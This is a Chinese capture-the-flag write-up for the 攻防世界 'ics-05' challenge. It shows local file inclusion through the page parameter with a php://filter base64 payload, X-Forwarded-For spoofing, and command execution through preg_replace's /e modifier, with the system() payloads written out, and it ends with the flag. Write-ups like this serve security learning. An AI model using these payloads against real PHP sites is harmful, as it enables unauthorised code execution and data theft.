微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

攻防世界-ics-05

本文借鉴以下两篇文章的指导

https://www.jianshu.com/p/5a502873635b

https://blog.csdn.net/about23/article/details/95349625

 

全部点击一遍,只有这个可以有其他界面

 

题目描述是 “其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统”

在后面添加login.PHP 无果,御剑扫描也无结果,源码也找不到其他东西

再次点击上面的“云平台设备维护中心”,URL栏有参数?page=index  存在get传值

 

page的参数联想到可能存在文件包含漏洞

引用上面的文章内容

LFI漏洞的黑盒判断方法
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞

 

输入数字没啥用,尝试读取index.PHP的源码,采用PHP伪协议



?page=PHP://filter/read=convert.base64-encode/resource=index.PHP

为什么中间要转base64编码,如果不转码,则相当于进行请求网页(继续打开网页)
输入payload得到一段base64

 

然后解码,分析源码

 

伪造XFF头来登入系统,同时利用preg_replace函数的漏洞

preg_replace( pattern , replacement , subject ) :

当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行
于是构造payload

/index.PHP?pat=/123/e&rep=system("find+-iname+flag")&sub=123

”+“号在url中会被解释成空格号,这里用%20也行

用burpsuite来设置XFF头

 

继续查看   %26被url解释成&号   用来连接命令

&& 前面命令为假直接报错,后面语句不执行(前面命令执行成功,后面的命令也执行)

index.PHP?pat=/123/e&rep=system("cd+./s3chahahaDir/flag%26%26ls")&sub=123

 

 

 最后的payload

index.PHP?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.PHP")&sub=123

 

得flag

cyberpeace{a3f41e3943e9bd48b8084b29e4b27182}

 

 



 

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐